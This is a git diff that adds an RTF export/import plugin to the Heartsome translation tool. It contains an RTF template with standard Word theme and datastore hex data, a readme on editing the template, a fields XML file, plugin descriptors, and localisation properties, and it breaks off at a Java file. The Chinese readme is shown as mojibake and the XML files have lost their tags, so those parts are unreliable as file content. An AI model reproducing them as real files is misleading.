+\clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth1008\clshdrawnil \cellx900\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 +\cltxlrtb\clftsWidth3\clwWidth2880\clshdrawnil \cellx3780\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth3060\clshdrawnil \cellx6840\clvertalt\clbrdrt\brdrs\brdrw10 +\clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth1620\clshdrawnil \cellx8460\row }\pard \ltrpar\ql \li0\ri0\nowidctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid3936425 { +\rtlch\fcs1 \af0 \ltrch\fcs0 \insrsid608150 +\par }{\*\themedata 504b030414000600080000002100828abc13fa0000001c020000130000005b436f6e74656e745f54797065735d2e786d6cac91cb6ac3301045f785fe83d0b6d8 +72ba28a5d8cea249777d2cd20f18e4b12d6a8f843409c9df77ecb850ba082d74231062ce997b55ae8fe3a00e1893f354e9555e6885647de3a8abf4fbee29bbd7 +2a3150038327acf409935ed7d757e5ee14302999a654e99e393c18936c8f23a4dc072479697d1c81e51a3b13c07e4087e6b628ee8cf5c4489cf1c4d075f92a0b +44d7a07a83c82f308ac7b0a0f0fbf90c2480980b58abc733615aa2d210c2e02cb04430076a7ee833dfb6ce62e3ed7e14693e8317d8cd0433bf5c60f53fea2fe7 +065bd80facb647e9e25c7fc421fd2ddb526b2e9373fed4bb902e182e97b7b461e6bfad3f010000ffff0300504b030414000600080000002100a5d6a7e7c00000 +00360100000b0000005f72656c732f2e72656c73848fcf6ac3300c87ef85bd83d17d51d2c31825762fa590432fa37d00e1287f68221bdb1bebdb4fc7060abb08 +84a4eff7a93dfeae8bf9e194e720169aaa06c3e2433fcb68e1763dbf7f82c985a4a725085b787086a37bdbb55fbc50d1a33ccd311ba548b63095120f88d94fbc +52ae4264d1c910d24a45db3462247fa791715fd71f989e19e0364cd3f51652d73760ae8fa8c9ffb3c330cc9e4fc17faf2ce545046e37944c69e462a1a82fe353 +bd90a865aad41ed0b5b8f9d6fd010000ffff0300504b0304140006000800000021006b799616830000008a0000001c0000007468656d652f7468656d652f7468 +656d654d616e616765722e786d6c0ccc4d0ac3201040e17da17790d93763bb284562b2cbaebbf600439c1a41c7a0d29fdbd7e5e38337cedf14d59b4b0d592c9c +070d8a65cd2e88b7f07c2ca71ba8da481cc52c6ce1c715e6e97818c9b48d13df49c873517d23d59085adb5dd20d6b52bd521ef2cdd5eb9246a3d8b4757e8d3f7 +29e245eb2b260a0238fd010000ffff0300504b030414000600080000002100c71c6d149c060000511b0000160000007468656d652f7468656d652f7468656d65 +312e786d6cec594d6f1b4518be23f11f467b6f6327761a4775aad8b11b68d346b15bd4e3783dde9d7a766735334eea1b6a8f484888827aa012e2c20101955a09 +24caaf49292a45ea5fe09d99ddf54ebc26491b4105f521f1ce3eeff7c7bc33be78e94ec4d03e1192f2b8e955cf573c44629f0f691c34bd1bfdeeb9350f4985e3 +21663c264d6f4aa47769e3fdf72ee27515928820a08fe53a6e7aa152c9fad292f46119cbf33c2131bc1b711161058f22581a0a7c007c23b6b45ca9ac2e4598c6 +1e8a71046caf8f46d427e8d9cfbfbcf8e681b79171ef3010112ba9177c267a9a3771480c7638ae6a849cca3613681fb3a6078286fca04fee280f312c15bc687a +15f3f196362e2ee1f59488a905b405baaef9a47429c170bc6c648a60900bad766b8d0b5b397f03606a1ed7e974da9d6acecf00b0ef83a5569722cf5a77addaca +781640f6eb3cef76a55ea9b9f802ff95399d1bad56abde4875b14c0dc87eadcde1d72aabb5cd65076f40165f9fc3d75a9bedf6aa8337208b5f9dc3772f34566b +2ede804246e3f11c5a07b4db4db9e7901167dba5f03580af5552f80c05d99067971631e2b15a946b11becd4517001ac8b0a23152d3848cb00f69dcc6d14050ac +05e075820b6fec922fe796b42c247d4113d5f43e4c3094c48cdfaba7dfbf7afa181dde7d7278f7a7c37bf70eeffe68193954db380e8a542fbffdeccf871fa33f +1e7ffdf2fe17e57859c4fff6c327cf7efdbc1c08e53353e7f9978f7e7ff2e8f9834f5f7c77bf04be29f0a008efd38848748d1ca03d1e8161c62baee664204e47 +d10f312d526cc681c431d6524af87754e8a0af4d314ba3e3e8d122ae076f0a681f65c0cb93db8ec2bd504c142d917c258c1ce00ee7acc545a917ae68590537f7 +2771502e5c4c8ab83d8cf7cb64b771ecc4b73349a06f6669e918de0e89a3e62ec3b1c201898942fa1d1f135262dd2d4a1dbfee505f70c9470adda2a88569a94b +fa74e064d38c689b4610976999cd106fc7373b37518bb332abb7c8be8b84aac0ac44f93e618e1b2fe389c25119cb3e8e58d1e157b10acb94ec4d855fc475a482 +48078471d4191229cb68ae0bb0b710f42b183a5669d877d834729142d17119cfab98f322728b8fdb218e92326c8fc66111fb811c438a62b4cb55197c87bb15a2 +9f210e385e18ee9b9438e13ebe1bdca081a3d22c41f49b89d0b18456ed74e088c67fd78e19857e6c73e0ecda3134c0e75f3d2cc9acb7b5116fc29e545609db47 +daef22dcd1a6dbe66248dffe9ebb8527f12e81349fdf78deb5dc772dd7fbcfb7dc45f57cd2463bebadd076f5dc6087623322470b27e41165aca7a68c5c956648 +96b04f0cbbb0a8e9ccf190e427a62484af695f777081c0860609ae3ea22aec85388101bbea6926814c590712255cc2c1ce2c97f2d67818d2953d16d6f581c1f6 +0389d50e1fdae515bd9c9d0b723666b709cce13313b4a2199c54d8ca85942998fd3ac2aa5aa9134bab1ad54cab73a4e526430ce74d83c5dc9b308020185bc0cb +ab7040d7a2e1608219196abfdbbd370b8b89c2598648867848d21869bbe763543541ca72c5dc0440ee94c4481ff28ef15a415a43b37d0369270952515c6d81b8 +2c7a6f12a52c836751d2757ba41c595c2c4e16a383a6d7a82fd73de4e3a4e98de04c0b5fa304a22ef5cc8759003743be1236ed8f2d6653e5b3683632c3dc22a8 +c23585f5fb9cc14e1f4884545b58863635ccab340558ac2559fd97ebe0d6b332c066fa6b68b1b206c9f0af69017e74434b4623e2ab62b00b2bda77f6316da57c +a288e885c303346013b18721fc3a55c19e21957035613a827e807b34ed6df3ca6dce69d1156faf0cceae639684386db7ba44b34ab67053c7b90ee6a9a01ed856 +aabb31eef4a698923f23538a69fc3f3345ef277053b032d411f0e11e5760a4ebb5e971a1420e5d2809a9df15303898de01d90277b1f01a920a6e93cd7f41f6f5 +7f5b739687296b38f0a93d1a2041613f52a1206417da92c9be639855d3bdcbb2642923935105756562d51e907dc2faba07aeeabddd4321a4bae926691b30b8a3 +f9e73ea7153408f49053ac37a787e47bafad817f7af2b1c50c46b97dd80c3499ff73154b76554b6fc8b3bdb768887e311bb36a595580b0c256d048cbfe355538 +e5566b3bd69cc5cbf54c3988e2bcc5b0980f4409dcf720fd07f63f2a7c464c1aeb0db5cff7a0b722f8a1413383b481ac3e67070fa41ba45d1cc0e064176d3269 +56d6b5e9e8a4bd966dd6673ce9e6728f385b6b7692789fd2d9f970e68a736af12c9d9d7ad8f1b55d5be86a88ecd11285a5517690318131bf69157f75e283db10 +e82db8df9f30254d32c16f4a02c3e8d9337500c56f251ad28dbf000000ffff0300504b0304140006000800000021000dd1909fb60000001b0100002700000074 +68656d652f7468656d652f5f72656c732f7468656d654d616e616765722e786d6c2e72656c73848f4d0ac2301484f78277086f6fd3ba109126dd88d0add40384 +e4350d363f2451eced0dae2c082e8761be9969bb979dc9136332de3168aa1a083ae995719ac16db8ec8e4052164e89d93b64b060828e6f37ed1567914b284d26 +2452282e3198720e274a939cd08a54f980ae38a38f56e422a3a641c8bbd048f7757da0f19b017cc524bd62107bd5001996509affb3fd381a89672f1f165dfe51 +4173d9850528a2c6cce0239baa4c04ca5bbabac4df000000ffff0300504b01022d0014000600080000002100828abc13fa0000001c0200001300000000000000 +000000000000000000005b436f6e74656e745f54797065735d2e786d6c504b01022d0014000600080000002100a5d6a7e7c0000000360100000b000000000000 +000000000000002b0100005f72656c732f2e72656c73504b01022d00140006000800000021006b799616830000008a0000001c00000000000000000000000000 +140200007468656d652f7468656d652f7468656d654d616e616765722e786d6c504b01022d0014000600080000002100c71c6d149c060000511b000016000000 +00000000000000000000d10200007468656d652f7468656d652f7468656d65312e786d6c504b01022d00140006000800000021000dd1909fb60000001b010000 +2700000000000000000000000000a10900007468656d652f7468656d652f5f72656c732f7468656d654d616e616765722e786d6c2e72656c73504b050600000000050005005d0100009c0a00000000} +{\*\colorschememapping 3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d3822207374616e64616c6f6e653d22796573223f3e0d0a3c613a636c724d +617020786d6c6e733a613d22687474703a2f2f736368656d61732e6f70656e786d6c666f726d6174732e6f72672f64726177696e676d6c2f323030362f6d6169 +6e22206267313d226c743122207478313d22646b3122206267323d226c743222207478323d22646b322220616363656e74313d22616363656e74312220616363 +656e74323d22616363656e74322220616363656e74333d22616363656e74332220616363656e74343d22616363656e74342220616363656e74353d22616363656e74352220616363656e74363d22616363656e74362220686c696e6b3d22686c696e6b2220666f6c486c696e6b3d22666f6c486c696e6b222f3e} +{\*\latentstyles\lsdstimax267\lsdlockeddef0\lsdsemihiddendef1\lsdunhideuseddef1\lsdqformatdef0\lsdprioritydef99{\lsdlockedexcept \lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority0 \lsdlocked0 Normal; +\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority9 \lsdlocked0 heading 1;\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 2;\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 3;\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 4; +\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 5;\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 6;\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 7;\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 8;\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 9; +\lsdpriority39 \lsdlocked0 toc 1;\lsdpriority39 \lsdlocked0 toc 2;\lsdpriority39 \lsdlocked0 toc 3;\lsdpriority39 \lsdlocked0 toc 4;\lsdpriority39 \lsdlocked0 toc 5;\lsdpriority39 \lsdlocked0 toc 6;\lsdpriority39 \lsdlocked0 toc 7; +\lsdpriority39 \lsdlocked0 toc 8;\lsdpriority39 \lsdlocked0 toc 9;\lsdqformat1 \lsdpriority35 \lsdlocked0 caption;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority10 \lsdlocked0 Title;\lsdpriority1 \lsdlocked0 Default Paragraph Font; +\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority11 \lsdlocked0 Subtitle;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority22 \lsdlocked0 Strong;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority20 \lsdlocked0 Emphasis; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority59 \lsdlocked0 Table Grid;\lsdunhideused0 \lsdlocked0 Placeholder Text;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority1 \lsdlocked0 No Spacing; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading;\lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List;\lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List;\lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List;\lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid;\lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading Accent 1; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 1; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1 Accent 1;\lsdunhideused0 \lsdlocked0 Revision; +\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority34 \lsdlocked0 List Paragraph;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority29 \lsdlocked0 Quote;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority30 \lsdlocked0 Intense Quote; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2 Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 1; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading Accent 1; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading Accent 2; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 2; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1 Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2 Accent 2; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 2; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List Accent 2; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List Accent 3; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 3; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1 Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2 Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 3; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List Accent 3; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid Accent 3; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid Accent 4; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1 Accent 4; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2 Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 4; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading Accent 4; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading Accent 5; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 5; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1 Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2 Accent 5; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 5; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List Accent 5; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List Accent 6; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 6; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1 Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2 Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 6; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List Accent 6; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid Accent 6; +\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority19 \lsdlocked0 Subtle Emphasis;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority21 \lsdlocked0 Intense Emphasis; +\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority31 \lsdlocked0 Subtle Reference;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority32 \lsdlocked0 Intense Reference; +\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority33 \lsdlocked0 Book Title;\lsdpriority37 \lsdlocked0 Bibliography;\lsdqformat1 \lsdpriority39 \lsdlocked0 TOC Heading;}}{\*\datastore 010500000200000018000000 +4d73786d6c322e534158584d4c5265616465722e352e3000000000000000000000060000 +d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff090006000000000000000000000001000000010000000000000000100000feffffff00000000feffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +fffffffffffffffffdfffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffffffffffffec69d9888b8b3d4c859eaf6cd158be0f000000000000000000000000704c +132972b6cd01feffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000 +00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff0000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000105000000000000}} \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.rtf/models/readme.txt b/ts/net.heartsome.cat.ts.ui.rtf/models/readme.txt new file mode 100644 index 0000000..eea6bf4 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/models/readme.txt @@ -0,0 +1,4 @@ +如éžå¿…è¦ï¼Œå»ºè®®ä¸è¦ä¿®æ”¹ RTF 模æ¿æ–‡ä»¶ï¼Œä»¥å…造æˆç”Ÿæˆ RTF 文件时出错。 +如è¦ä¿®æ”¹ RTF 模æ¿æ–‡ä»¶ï¼Œè¯·æ³¨æ„先备份,然åŽå°† RTFTemplate.dot 放到 C:\Documents and Settings\username\Application Data\Microsoft\Word\Startup 目录下(username 为登录系统的用户å), +这样æ¯æ¬¡æ‰“å¼€ Word 时就会出现 RTFTemplate 的一个èœå•ã€‚ +在修改完æˆåŽï¼Œå†ç”¨æ–‡æœ¬ç¼–辑器打开此文件,将模æ¿é‡Œé¢æ‰€æœ‰çš„ fcharset0 替æ¢ä¸º fcharset134,å¦åˆ™ä¸­æ–‡ä¼šå‡ºçŽ°ä¹±ç ã€‚ \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.rtf/models/table.fields.xml b/ts/net.heartsome.cat.ts.ui.rtf/models/table.fields.xml new file mode 100644 index 0000000..8c8692d --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/models/table.fields.xml @@ -0,0 +1,85 @@ + + + + + START_LOOP + START_LOOP_{i} + + + + END_LOOP + END_LOOP_{i} + + + + IF + IF_{i} + + + + true + $[es].Comment + $es.Comment + + + + true + $[es].Source + $es.Source + + + + true + $[es].Status + $es.Status + + + + true + $[es].Target + $es.Target + + + + true + $[es].Id + $es.Id + + + + false + $header_id + $header_id + + + + false + $header_source + $header_source + + + + false + $header_target + $header_target + + + + false + $header_comment + $header_comment + + + + false + $header_status + $header_status + + + + false + $date + $date + + + diff --git a/ts/net.heartsome.cat.ts.ui.rtf/plugin.properties b/ts/net.heartsome.cat.ts.ui.rtf/plugin.properties new file mode 100644 index 0000000..d6025de --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/plugin.properties @@ -0,0 +1,4 @@ +rtf.menu.export = \u5bfc\u51fa RTF... +rtf.menu.import = \u5bfc\u5165 RTF... +rtf.command.export = \u5bfc\u51fa RTF +rtf.command.import = \u5bfc\u5165 RTF \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.rtf/plugin.xml b/ts/net.heartsome.cat.ts.ui.rtf/plugin.xml new file mode 100644 index 0000000..bab6802 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/plugin.xml @@ -0,0 +1,130 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.rtf/plugin_en.properties b/ts/net.heartsome.cat.ts.ui.rtf/plugin_en.properties new file mode 100644 index 0000000..c58ac34 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/plugin_en.properties @@ -0,0 +1,4 @@ +rtf.menu.export = Export RTF... +rtf.menu.import = Import RTF... +rtf.command.export = Export RTF +rtf.command.import = Import RTF diff --git a/ts/net.heartsome.cat.ts.ui.rtf/plugin_zh.properties b/ts/net.heartsome.cat.ts.ui.rtf/plugin_zh.properties new file mode 100644 index 0000000..d6025de --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/plugin_zh.properties @@ -0,0 +1,4 @@ +rtf.menu.export = \u5bfc\u51fa RTF... +rtf.menu.import = \u5bfc\u5165 RTF... +rtf.command.export = \u5bfc\u51fa RTF +rtf.command.import = \u5bfc\u5165 RTF \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/Activator.java b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/Activator.java new file mode 100644 index 0000000..f4c34b4 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/Activator.java @@ -0,0 +1,61 @@ +package net.heartsome.cat.ts.ui.rtf; + +import 